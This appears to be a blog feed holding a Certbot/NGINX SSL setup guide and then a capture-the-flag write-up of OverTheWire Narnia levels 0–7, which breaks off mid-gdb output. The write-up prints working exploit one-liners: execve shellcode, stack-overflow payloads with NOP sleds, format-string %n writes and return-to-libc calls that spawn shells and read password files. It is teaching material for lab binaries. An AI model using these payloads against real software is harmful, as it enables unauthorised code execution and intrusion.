With Chrome heralding the triumphant end of HTTP as we know it, I thought I should at least get with the program and get the blog a valid certificate. Luckily nowadays the process is extremely painless and will take you less than 10 minutes. The Ghost blogging platform has instructions on how to set up SSL for self-hosted sites, but there were some gotchas I ran into and decided to document a step-by-step process for anyone else who might need this in the future. Note that this does assume you have shell access to your hosting service.
My server is running on a DigitalOcean droplet on Ubuntu 14.04.4 LTS, but any distro configuration should be easily adaptable. Ghost also uses NGINX to serve requests and most of the configuration files and paths should be in standard locations. However if they are not, I will include hints on where you should be looking to find what you are looking for.
We are going to be getting our certificates provided by LetsEncrypt, an incredible org that provides an open and free Certificate Authority for anybody to use. Using Certbot will simplify this process of registering and obtaining certs and will also be used to automatically renew them as well.
Certbot is maintained in a PPA, the following commands should be easy enough to install it:
$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt-get update
$ sudo apt-get install python-certbot-nginx
Before going any further, we need to set up our NGINX installation to serve our well-known directory so that we can validate our acme-challenge. Otherwise, when we try to run certbot we will get an error because Ghost does not serve up files from the default root folder at /var/www/ghost. This is the path that we will be using, however to find your correct Ghost installation root, it will be the folder that contains your content, core, config.js and index.js files as well the npm module and packaging apparatus.
Find your NGINX conf file that manages the Ghost service. For me, this was found at /etc/nginx/sites-enabled/ghost. In general, you will know it is the proper configuration since it will contain a reference to your domain name and look something like this:
server {
listen 80 default_server;
listen [::]:80 default_server ipv6only=on;
server_name cplusperks.com # Replace with your domain
root /usr/share/nginx/html;
index index.html index.htm;
client_max_body_size 10G;
location / {
proxy_pass http://localhost:2368;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering off;
}
location ~ ^/.well-known {
root /var/www/ghost;
}
}
You will notice an additional location setting added to our configuration that looks like:
location ~ ^/.well-known {
root /var/www/ghost; # Your path should be here
}
This will allow LetsEncrypt to validate our certificates when we register them. By default this route would not be served and return a 404, however this will tell NGINX to serve requests looking for our well-known folder where to look.
Make sure to refresh our NGINX instance by running sudo service nginx restart!
Even though Certbot now comes with an NGINX plugin, I didn't want to chance automated configuration file rewrite and rules breaking something. Instead we will request the certificates and manually update our NGINX conf again to enable SSL. Run the following command (replacing paths and domains with yours):
sudo certbot --webroot certonly -w /var/www/ghost -d cplusperks.com -d www.cplusperks.com
Follow the onscreen instructions. Eventually LetsEncrypt will place your certificates in the following location: /etc/letsencrypt/live/<yourdomain>.
We now need to re-edit our conf file to use our freshly provided certs and to redirect HTTP traffic requests over SSL. They are a couple ways to do this, but the following configuration should contain the basics of what settings need to be turned on and set (and should work out of the box).
upstream ghost {
server localhost:2368;
}
server {
listen 80 default_server;
listen [::]:80 default_server ipv6only=on;
server_name cplusperks.com www.cplusperks.com; # Replace with your domain
rewrite ^ https://$http_host$request_uri? permanent;
}
server {
listen 443 ssl default_server;
ssl_certificate /etc/letsencrypt/live/cplusperks.com/fullchain.pem; # Replace with your domain
ssl_certificate_key /etc/letsencrypt/live/cplusperks.com/privkey.pem; # Replace with your domain
server_name cplusperks.com www.cplusperks.com; # Replace with your domain
root /usr/share/nginx/html;
index index.html index.htm;
client_max_body_size 10G;
location / {
#proxy_pass http://localhost:2368;
proxy_pass http://ghost;
proxy_redirect off;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering off;
}
location ~ ^/.well-known {
root /var/www/ghost;
}
fastcgi_param HTTPS on;
fastcgi_param HTTP_SCHEME https;
}
Throw a sudo service restart nginx and you should see the reassuring green SSL indicator in your url (although to be fair, you can't always trust what you see)
Of course one thing to keep in mind once this is all setup is that certificates need to be periodically refreshed. Luckily cerbot places an automatic cronjob for us at /etc/cron.d/certbot. We have to make sure we edit it so that our NGINX server is reloaded to pick up the refreshed cert, so lets add some pre and post hooks.
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
0 */12 * * * root test -x /usr/bin/certbot -a \! -d /run/systemd/system && perl -e 'sleep int(rand(3600))' && certbot -q renew --pre-hook "service nginx stop" --post-hook "service nginx start"
That was pretty painless wasn't it?
]]>If you are just starting, or unfamiliar to the format of the games, check out the other post on Leviathan, the first game of the track. It also does an introduction to many
]]>Narnia is an OverTheWire CTF game that dives into the fundamentals of C and x86 exploitation techniques.
If you are just starting, or unfamiliar to the format of the games, check out the other post on Leviathan, the first game of the track. It also does an introduction to many of the gdb techniques I use in this post that I don't explain.
These write-ups are mainly intended as an education resource and to be followed alongside doing the exercises yourself. The levels somewhat build upon each other, so make sure you completely understand the exploit before moving on and, if possible, exhaust yourself trying them first before reading the explanation. Also, all code posted is under the GNU GPLv2 license.
If you have any questions, please let me know in the comments or hit me up on twitter @cplusperks.
With that said, let's get started.
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
For the bootstrap level we are given a binary that introduces a simple buffer overflow. In particular we have unprotected scanf call that does not have a sanity check on the user input we supply. The point is to somehow change that content stored in val (0x41 = 'A') to the hex value 0xdeadbeef. We know that our buffer is declared as buf[20], so lets see what we need to overwrite it:
narnia0@melinda:/narnia$ (python -c 'print "C"*19') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCC
val: 0x41414141
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "C"*20') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCC
val: 0x41414100
WAY OFF!!!!
narnia0@melinda:/narnia$ (python -c 'print "C"*24') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCCCCC
val: 0x43434343
WAY OFF!!!!
As suspected, it seems that we can begin to overwrite val by supplying 20 chars + 4 bytes. Remembering most systems are little endian, let us try supplying 0xdeadbeef and see if that works:
narnia0@melinda:/narnia$ (python -c 'print "C"*20 + "\xef\xbe\xad\xde"') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�
val: 0xdeadbeef
Strange, even though the value is changed we still don't get a shell. This might be due to the fact that our shell is started, but exists immediately. To overcome this, there is a trick that by executing cat right afterwards, we can 'trap' the shell in a state where we can execute commands (I think this is because printf flushes stdin in such a way that EOF is sent to shell causing it to exit and cat will work around that):
narnia0@melinda:/narnia$ (python -c 'print "C"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0;
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
**** Password Removed ****
NOTE: It seems that there is a problem with the terminal not being able to display the hex characters properly. Thus another way to solve this is that you need to 'pad' the string at the end with \x90 (A Null-Op) and using that via copy-paste (not redirection) will actually drop you into a proper shell. Weird. If you know why this might be, let me know. Anyways moving on.
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
The objective of this level is to execute a custom payload, preferably one that allows us read the password for the next level.
A little bit of extra information, the environ variable in a binary stores environment variables in the memory space of the executing binary, and a pointer to this pointer can be found at the beginning of execution by examining 16 bytes from $ebp after it has been initialized (remember *((char **) $ebp + 0x10 if examining in gdb or simply *environ with symbols)
However since the program is loading our environment variable directly by calling getenv, this information won't be necessary just yet.
A common mistake would be that the program expects you to set a shell command to be executed at EGG, i.e set EGG=/bin/sh. However what actually needs to happen is whatever is stored at EGG is going to be executed as instructions, so we need to write position independent 'shellcode'.
The concept of shellcode is outside the scope of this writeup, but I would suggest going over the post at http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html which will give you a good start (and working shellcode)!
Once we do that, with our spawned shell we can read the password:
narnia1@melinda:/narnia$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
narnia1@melinda:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
**** Password Removed ****
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
Using what we've learned in the last few lessons, the exploit here is to use a stack-based overflow to gain control of EIP. On x86 systems, EIP (Extended Instruction Pointer) is the register that points to the location in memory where the next instruction to be executed exists.
However, when a context-switch is triggered with a function call, EIP is pushed onto the stack in order to preserve it's value after the function returns. With a buffer overflow, we can write past the buffer on the stack into the memory space of EIP, thus controlling where our control of our program execution when it returns.
We know the buffer size is 128, so lets try figuring the offset for overwrite. The trick is to get the program to segfault by jumping to a space in memory that is unmapped - the location being our input - and find where that tipping point is:
narnia2@melinda:/narnia$ gdb -q narnia2
Reading symbols from narnia2...(no debugging symbols found)...done.
(gdb) r $(python -c 'print "A"*128')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*128')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[Inferior 1 (process 21393) exited normally]
(gdb) r $(python -c 'print "A"*140')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*140')
Program received signal SIGSEGV, Segmentation fault.
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6
(gdb) r $(python -c 'print "A"*144')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*144')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
From this we can gather that after filling the buffer with 140 characters, the next 4 bytes are what we write to EIP. What should we return to? Well we do have 140 bytes of free space at the location of our buffer, let's drop into GDB and find out where that starts:
(gdb) r $(python -c 'print "A"*140')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*140')
Program received signal SIGSEGV, Segmentation fault.
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6
(gdb) x/20wx $esp
0xffffd650: 0x00000002 0xffffd6e4 0xffffd6f0 0xf7feacea
..... ...
0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd890: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8b0: 0x41414141 0x44580041 0x45535f47 0x4f495353
0xffffd8c0: 0x44495f4e 0x3137313d 0x00343235 0x4c454853
So our buffer starts at 0xfffd830. Because of memory mapping differences between running a program in gdb and normally, the actual start and end will be slightly different, therefore lets pick a spot slightly later into our buffer to jump to.
For example, my shellcode is 25 bytes long which means that I could jump to anywhere 115 bytes before (140 - 25).
The last thing I need to do is fill the buffer with \x90 instead of A, which basically is a series of NOPs that will 'slide' us down to our payload, which is necessary since we wont know exactly where our payload address is. But as long as we land somewhere in the middle of our NOPs, we can reach it regardless.
Let's set our EIP to jump to 0xfffd850 which is comfortably in the middle of our buffer. With that, what we input to the program is:
(sizeof(buffer) - sizeof(shellcode) * "\x90") + shellcode + NOP_Sled_Address
Let's try that out:
narnia2@melinda:/narnia$ ./narnia2 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
**** Password Removed ****
Nice.
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
This is actually a pretty fun little program. Taking a user supplied string, it attempts to open the target file, read it, and the dump its contents into /dev/null (effectively doing nothing). Let's take a look at the assembly and see if we can find the addresses where our variables live:
narnia3@melinda:/narnia$ echo "perks" > /tmp/perks
narnia3@melinda:/narnia$ gdb -q narnia3
Reading symbols from narnia3...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x0804851d <+0>: push ebp
0x0804851e <+1>: mov ebp,esp
0x08048520 <+3>: and esp,0xfffffff0
..... ...
0x0804858d <+112>: lea eax,[esp+0x58] ***** <-- ofile
0x08048591 <+116>: mov DWORD PTR [esp],eax
0x08048594 <+119>: call 0x80483e0 <open@plt>
..... ...
0x080485cc <+175>: lea eax,[esp+0x38] ***** <-- ifile
0x080485d0 <+179>: mov DWORD PTR [esp],eax
0x080485d3 <+182>: call 0x80483e0 <open@plt>
..... ...
0x0804866a <+333>: call 0x8048410 <close@plt>
0x0804866f <+338>: mov DWORD PTR [esp],0x1
0x08048676 <+345>: call 0x80483d0 <exit@plt
# Set a breakpoint before program exit #
(gdb) r /tmp/perks
Starting program: /games/narnia/narnia3 /tmp/perks
(gdb) x/s $esp+0x38
0xffffd688: "/tmp/perks"
(gdb) x/s $esp+0x58
0xffffd6a8: "/dev/null"
The trick here is that we can exploit a buffer overflow into the stack variable ofile, causing the dump to happen at a location we wish that will preserve the write instead of discarding it. Then, by providing the input in as a symbolic link to the password file, we will be able to read the contents provided to us by this setuid binary.
One problem though is that the input we provide must also be a valid file (otherwise the open call will fail), while at the same time overflowing into a custom path. Luckily we know exactly the distance required (both from the source code and arithmetic of $esp+0x58 - $exp+0x38) which is 32 bytes. We just need to trick the program through clever path manipulation. This is easier to understand when shown, so try and follow along below (my comments are prefixed with a #):
narnia3@melinda:/narnia$ mkdir /tmp/ex3
narnia3@melinda:/narnia$ cd /tmp/ex3
narnia3@melinda:/tmp/ex3$ pwd
/tmp/ex3 # Our path length is currently 8 bytes + 1 byte for trailing '/'
# 32 - 9 - 1 byte again for trailing '/', 22 bytes left
narnia3@melinda:/tmp/ex3$ mkdir $(python -c 'print "A"*22')
narnia3@melinda:/tmp/ex3$ cd AAAAAAAAAAAAAAAAAAAAAA/
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$ ln -s /etc/narnia_pass/narnia4 readthis
narnia3@melinda:/tmp/ex3$ file /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis
/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis: symbolic link to '/etc/narnia_pass/narnia4'
# '/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/' is 32 characters
# Therefore after the /, our input file becomes the target of the output
# which in this case is just 'readthis'. By executing in another directory
# the program, we can create another file called 'readthis' which 'narnia3'
# will look for in the current directory and write to
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$ cd .. # Go up
narnia3@melinda:/tmp/ex3$ touch readthis
narnia3@melinda:/tmp/ex3$ chmod 777 readthis # Make sure it can write to it
narnia3@melinda:/tmp/ex3$ /narnia/narnia3 /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis
copied contents of /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis to a safer place... (readthis)
narnia3@melinda:/tmp/ex3$ cat readthis
**** Password Removed ****
That whole process may seem a little confusing, especially since there are two files named the same thing in different locations, but step through each step slowly and the reasoning should become apparent. On to the next!
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
This level is almost exactly the same as the exercise in Level 2, the only difference being more buffer space and an additional security feature that 0's out all the environment levels in memory (alternatively Level 2 could be solved by jumping to shellcode stored in an environment later -- more on that to come).
I leave this as an exercise to the reader. If you have gotten this far it should be trivial enough to complete (remember you have to play around the address jumping into a NOP sled due to shifts in memory mapping between gdb and normal execution of a program).
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
Here we are encountering a new sort of vulnerability, one known as a format string attack.
Before proceeding further, check out this post over at CodeArcana that does a great overview on how this attack works and how it allows you to both read and write to arbitrary memory locations (Chapter 12 of Gray Hat Hacking: The Ethical Hacker's Handbook, 3rd Edition also has a great introduction to this).
From an initial overview we see that the program has finally opted to check the size of input before copying into the buffer, which means that our buffer overflow techniques we have been using are no help here.
Thankfully, the level gives you two very strong hints (saving us from a lot of gdb exploration) in allowing you to both see the memory address you want to overwrite, plus the output from the snprintf allowing you to calculate the offset you need.
However for the sake of ~ education ~ I will dive into the internals to give an example of how you might do this if you haven't been given the hints (in real programs you won't).
The first thing we need to do is to locate on the stack the positions of both our target (the i = 1), and the layout of our buffer relative to the stack.
Let's breakpoint right after the snprintf call because thats when the format attack happens, and I'll draw a map of what is happening in memory (look for annotations):
NOTE: These addresses are most likely to be different than yours, map them yourself accordingly, it should still follow the same principles
narnia5@melinda:/narnia$ gdb -q narnia5
Reading symbols from narnia5...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484bd <+0>: push ebp
0x080484be <+1>: mov ebp,esp
0x080484c0 <+3>: and esp,0xfffffff0
0x080484c3 <+6>: sub esp,0x60
0x080484c6 <+9>: mov DWORD PTR [esp+0x5c],0x1 **** <-- i = 1
0x080484ce <+17>: mov eax,DWORD PTR [ebp+0xc]
0x080484d1 <+20>: add eax,0x4
0x080484d4 <+23>: mov eax,DWORD PTR [eax]
0x080484d6 <+25>: mov DWORD PTR [esp+0x8],eax *** <-- argv[1]
0x080484da <+29>: mov DWORD PTR [esp+0x4],0x40 *** <-- sizeof buffer
0x080484e2 <+37>: lea eax,[esp+0x1c] **** <-- Addr of buffer
0x080484e6 <+41>: mov DWORD PTR [esp],eax
0x080484e9 <+44>: call 0x80483b0 <snprintf@plt>
0x080484ee <+49>: mov BYTE PTR [esp+0x5b],0x0 ******* <-- BREAKPOINT
########## OUR ARGS ABOVE ARE NOW RELATIVE TO $ESP (SEE ABOVE) ######
0x080484f3 <+54>: mov DWORD PTR [esp],0x8048610
0x080484fa <+61>: call 0x8048350 <printf@plt>
0x080484ff <+66>: mov eax,DWORD PTR [esp+0x5c]
0x08048503 <+70>: cmp eax,0x1f4
0x08048508 <+75>: jne 0x8048522 <main+101>
0x0804850a <+77>: mov DWORD PTR [esp],0x8048631
0x08048511 <+84>: call 0x8048360 <puts@plt>
0x08048516 <+89>: mov DWORD PTR [esp],0x8048636
0x0804851d <+96>: call 0x8048370 <system@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+49
Breakpoint 1 at 0x80484ee
(gdb) r AAAA
Starting program: /games/narnia/narnia5 AAAA
Breakpoint 1, 0x080484ee in main ()
(gdb) x/24wx $esp
_ Addr of buffer
| _ sizeof buffer
| | _ Addr of argv[1]
| | |
v v v
0xffffd660: 0xffffd67c 0x00000040 0xffffd8b2 0xf7eb75b6
0xffffd670: 0xffffffff 0xffffd69e 0xf7e2fbf8 0x41414141 <- start of buffer
0xffffd680: 0x00000000 0x00ca0000 0x00000001 0x08048319
0xffffd690: 0xffffd89c 0x0000002f 0x08049858 0x080485d2
0xffffd6a0: 0x00000002 0xffffd764 0xffffd770 0xf7e5610d
0xffffd6b0: 0xf7fca3c4 0xf7ffd000 0x0804858b 0x00000001 <- target (i = 1)
(gdb)
As you can see by the state of the stack, after the last argument, it takes 5 words to reach the beginning of our buffer (verify each argument by doing $esp + offset). Therefore we know our offset to be 5. We can verify this (if this step does not make sense, go back over how format attacks work):
narnia5@melinda:/narnia$ ./narnia5 AAAA%5\$x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA41414141] (12)
i = 1 (0xffffd6dc)
narnia5@melinda:/narnia$
Great. Looking back at our map of the stack, we can see the address of where our target is located at 0xffffd6bc (This is different than that given to us by the hint, remember gdb maps differently). For now, we will use the address provided by the hint, but to figure out the actual address make sure you pay attention to the use of env -i in Debugging an Exploit of the CodeArcana post.
Now the tricky part is, when we increase the size of our argv[1], it makes sense that it shifts the position of the rest of the stack accordingly, and we have to compensate for that by recalculating where our target is (the hint does this for us, but the process is exactly the same, just pay attention to the offset which it is being stored at on $esp).
Anyways, the next bit is to attempt to overwrite the target address with out value. We want to change it to 500, which is hex is represented as 0x000001f4 (whole word). The following chart from Gray Hat Hacking: The Ethical Hacker's Handbook summarizes a sort of cheatsheet to doing this (although you should still read the explanations)

Our HOB = 0x0000 and LOB = 0x01f4. Since our payload fits entirely in the LOB (HOB is essentially empty) we actually don't have to use the formula and can just write directly using %n (the reasoning is explained in the post and resources).
Remember %n write the amount of bytes we have seen, and providing the target address already gave us 4 bytes. 500 - 4 = 496 bytes we need to pad to write 500 to the target, lets give that a go:
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xdc\xd6\xff\xff"')%.496x%5\$n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����00000000000000000000000000000000000000000000000000000000000] (63)
i = 1 (0xffffd6cc)
Segmentation fault
What happened? Looking closely at the hint should give you a clue. Remember, when you alter the input you shift the state of the stack. It looks like we did that, causing the location to move from 0xffffd6dc to 0xffffd6cc.
Changing it to the proper target address will spawn you a shell. To do with without the hint is unfortunately difficult. You could try brute-forcing around the address with some hints from gdb to help you out (very tedious), but you should eventually get it (in this case it was 0x10 away from the original). If anyone has a better way let me know! (Update: The writeup of the last exercise on Level 8 shows how to do this somewhat systematically).
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xcc\xd6\xff\xff"')%.496x%5\$x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����00000000000000000000000000000000000000000000000000000000000] (63)
i = 1 (0xffffd6cc)
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xcc\xd6\xff\xff"')%.496x%5\$n
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
**** Password Removed ****
Success! This is definitely a tricky concept to get your head around so do read more on the technique if some things are a little fuzzy.
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
fp(b1);
exit(1);
}
Coming back to more buffer overflow vulnerabilities, we can exploit a particular flavor of attack called a return-to-libc, although strictly we are not overwriting the return address but rather then the call address. In essence what this means is that instead of relying on loading our own shellcode directly, we will instead abuse the standard library calls within the programs own memory in order to gain an advantage (in this case a shell).
This is important because if we take a look at the source code, we see the environ and argv variables being 0'd out, effectively giving us no place to store our shell code (two buffer sizes of [8] does not provide enough space for storage + ability to hit a NOP sled).
Instead, lets look at the call fp(b1) and see what is happening. It seems that running the program with two arguments copies both to a buffer, and then calls fp on the first argument, which is assigned to the address of puts. The result is printing b1 to the screen. Examining the assembly reveals that b2 actually comes before b1 in memory, and that luckily for us the address of fp follows the end of b1, giving us a shot at rewriting it:
..... ...
0x08048690 <+311>: mov ebx,eax
0x08048692 <+313>: call 0x804854d <get_sp>
0x08048697 <+318>: cmp ebx,eax
0x08048699 <+320>: jne 0x80486a7 <main+334>
0x0804869b <+322>: mov DWORD PTR [esp],0xffffffff
0x080486a2 <+329>: call 0x8048410 <exit@plt>
0x080486a7 <+334>: lea eax,[esp+0x20]
0x080486ab <+338>: mov DWORD PTR [esp],eax
0x080486ae <+341>: mov eax,DWORD PTR [esp+0x28] **** <-- Call to 'fp'
0x080486b2 <+345>: call eax
0x080486b4 <+347>: mov DWORD PTR [esp],0x1
=> 0x080486bb <+354>: call 0x8048410 <exit@plt>
End of assembler dump.
(gdb) x/wx $esp+0x28
0xffffd6b8: 0x080483f0 # Address of 'fp' to overwrite
(gdb) b *main+354 # So we can examine stack before we exit
(gdb) r AAAA BBBB
Starting program: /games/narnia/narnia6 AAAA BBBB
AAAA
Breakpoint 1, 0x080486bb in main ()
(gdb) x/24wx $esp
0xffffd690: 0x00000001 0xffffd8b1 0x00000021 0x08048712
_ b2
|
v
0xffffd6a0: 0x00000003 0xffffd764 0x42424242 0xf7e56100
_ b1 _ fp
| |
v v
0xffffd6b0: 0x41414141 0xf7ffd000 0x080483f0 0x00000003
0xffffd6c0: 0x080486c0 0xf7fca000 0x00000000 0xf7e3ca63
0xffffd6d0: 0x00000003 0xffffd764 0xffffd774 0xf7feacea
0xffffd6e0: 0x00000003 0xffffd764 0xffffd704 0x08049978
(gdb) r AAAACCCC BBBB
Starting program: /games/narnia/narnia6 AAAACCCC BBBB
Program received signal SIGSEGV, Segmentation fault.
0x08048301 in ?? ()
So we know we can overflow and write data to the address of fp. The question is to what?
For one, fp(b1) expects a single char * argument. This is very similar to the system command, which executes in shell a target string. So all we need to do is find the location of system, overflow fp to point to that, and ensure b1 is an executable string, such as /bin/sh. But first, finding system is as easy as firing up gdb:
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e62cd0 <system>
With that, there are many ways to do this, You can either be clever with what you input to b1, or use b2 to actually oveflow back into b1 again. I'll demonstrate both:
# Overflow
narnia6@melinda:/narnia$ ./narnia6 $(python -c 'print "A"*8 + "\xd0\x2c\xe6\xf7"') $(python -c 'print "B"*8 + "/bin/sh"')
$ whoami
narnia7
# Abuse ; for 'system' call
narnia6@melinda:/narnia$ ./narnia6 "/bin/sh;"$(python -c 'print "\xd0\x2c\xe6\xf7"') BBBB
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
**** Password Removed ****
Almost there! Just 2 more levels to go.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
system("/bin/sh");
return 0;
}
It seems like there is a lot going on in this program, but a closer look reveals that we are trying our hand at a format string attack again.
Only this time, instead of writing a static value to a target address, we are attempting to replace the address at ptrf from goodfunction() to hackedfunction(). Luckily we are given most of the information:
narnia7@melinda:/narnia$ ./narnia7 perks
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd63c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction.
The only thing we are missing is the offset from the stack pointer to the start of our buffer, and we are not given a print statement to see this visually. However if you recall from the previous level, we can use gdb to figure this out:
(gdb) disas vuln # this code is not in main
Dump of assembler code for function vuln:
0x080485cd <+0>: push ebp
0x080485ce <+1>: mov ebp,esp
..... ...
0x0804865e <+145>: mov DWORD PTR [ebp-0x8c],0x80486e0
0x08048668 <+155>: mov eax,DWORD PTR [ebp+0x8]
0x0804866b <+158>: mov DWORD PTR [esp+0x8],eax *** <- Addr of format
0x0804866f <+162>: mov DWORD PTR [esp+0x4],0x80 ** <- sizeof buffer
0x08048677 <+170>: lea eax,[ebp-0x88]
